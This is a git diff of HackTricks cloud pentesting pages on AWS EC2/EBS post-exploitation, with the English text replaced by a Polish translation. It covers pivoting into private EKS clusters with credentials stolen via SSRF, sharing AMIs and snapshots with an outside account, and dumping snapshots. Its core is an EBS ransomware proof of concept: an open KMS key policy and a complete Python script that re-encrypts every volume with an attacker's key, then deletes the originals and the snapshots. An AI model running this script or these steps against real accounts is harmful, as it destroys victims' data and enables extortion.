Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Zainstaluj SessionManagerPlugin na swoim komputerze +2. Zaloguj się do Bastion EC2, używając następującego polecenia: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. Uzyskaj tymczasowe poświadczenia Bastion EC2 AWS za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +4. Przenieś poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]` +5. Zaloguj się do EKS jako Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. Zaktualizuj pole `server` w pliku `$HOME/.kube/config`, aby wskazywało na `https://localhost` +7. Utwórz tunel SSM w następujący sposób: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. Ruch z narzędzia `kubectl` jest teraz przekazywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS z własnej maszyny, uruchamiając: ```shell kubectl get pods --insecure-skip-tls-verify ``` +Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify` (lub jej odpowiednik w narzędziach audytowych K8s). Biorąc pod uwagę, że ruch jest tunelowany przez bezpieczny tunel AWS SSM, jesteś bezpieczny przed wszelkiego rodzaju atakami MitM. -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. - -### Share AMI +Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby przełączyć się na dowolną inną usługę AWS lub niestandardową aplikację. +### Udostępnij AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMI -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych obrazach maszyn Amazon (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMI, montowania ich woluminów i skanowania w poszukiwaniu potencjalnych sekretów lub wrażliwych danych. +### Udostępnij migawkę EBS ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach po eksploatacji S3. KMS powinno być nazwane RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS. +Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny podmiot AWS. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption' ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +Polityka klucza wymaga włączenia następujących uprawnień, aby umożliwić jego użycie do szyfrowania woluminu EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Teraz z publicznie dostępnym kluczem do użycia. Możemy użyć konta 'ofiary', które ma uruchomione instancje EC2 z podłączonymi nieszyfrowanymi woluminami EBS. Woluminy EBS tego konta 'ofiary' są celem szyfrowania, ten atak zakłada naruszenie konta AWS o wysokich uprawnieniach. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Podobnie jak w przykładzie ransomware S3. Ten atak utworzy kopie podłączonych woluminów EBS za pomocą migawków, użyje publicznie dostępnego klucza z konta 'atakującego' do szyfrowania nowych woluminów EBS, następnie odłączy oryginalne woluminy EBS od instancji EC2 i je usunie, a na końcu usunie migawki użyte do utworzenia nowo szyfrowanych woluminów EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +W rezultacie w koncie pozostaną tylko szyfrowane woluminy EBS. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +Warto również zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne woluminy EBS. Oryginalne nieszyfrowane woluminy są teraz usunięte. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +Następnie wróć do polityki klucza w koncie 'atakującego' i usuń regułę polityki 'Outside Encryption' z polityki klucza. ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Czekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie ze stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +To jest skrypt w Pythonie używany do tego celu. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich pierwotnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..b465e2e9b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Sprawdzanie migawki lokalnie ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Uwaga** że `dsnap` nie pozwoli ci na pobranie publicznych migawków. Aby to obejść, możesz skopiować migawkę do swojego osobistego konta i pobrać ją: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalne badania w [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Możesz to zrobić za pomocą Pacu, używając modułu [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) +## Sprawdzanie migawki w AWS ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Zamontuj go w VM EC2 pod swoją kontrolą** (musi być w tym samym regionie co kopia zapasowa): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Krok 1: Należy utworzyć nową woluminę o preferowanym rozmiarze i typie, przechodząc do EC2 –> Woluminy. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +Aby móc wykonać tę akcję, wykonaj następujące polecenia: -To be able to perform this action, follow these commands: +- Utwórz wolumin EBS do podłączenia do instancji EC2. +- Upewnij się, że wolumin EBS i instancja są w tej samej strefie. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Krok 2: Należy wybrać opcję "dołącz wolumin" klikając prawym przyciskiem myszy na utworzonym woluminie. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Krok 3: Należy wybrać instancję z pola tekstowego instancji. -Step 3: The instance from the instance text box is to be selected. +Aby móc wykonać tę akcję, użyj następującego polecenia: -To be able to perform this action, use the following command: +- Dołącz wolumin EBS. -- Attach the EBS volume. +Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski używając polecenia `lsblk`. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Krok 5: Sprawdź, czy wolumin ma jakieś dane używając polecenia `sudo file -s /dev/xvdf`. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Jeśli wynik powyższego polecenia pokazuje "/dev/xvdf: data", oznacza to, że wolumin jest pusty. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Krok 6: Sformatuj wolumin do systemu plików ext4 używając polecenia `sudo mkfs -t ext4 /dev/xvdf`. Alternatywnie, możesz również użyć formatu xfs używając polecenia `sudo mkfs -t xfs /dev/xvdf`. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs. -Step 6: Format the volume to the ext4 filesystem using the command `sudo 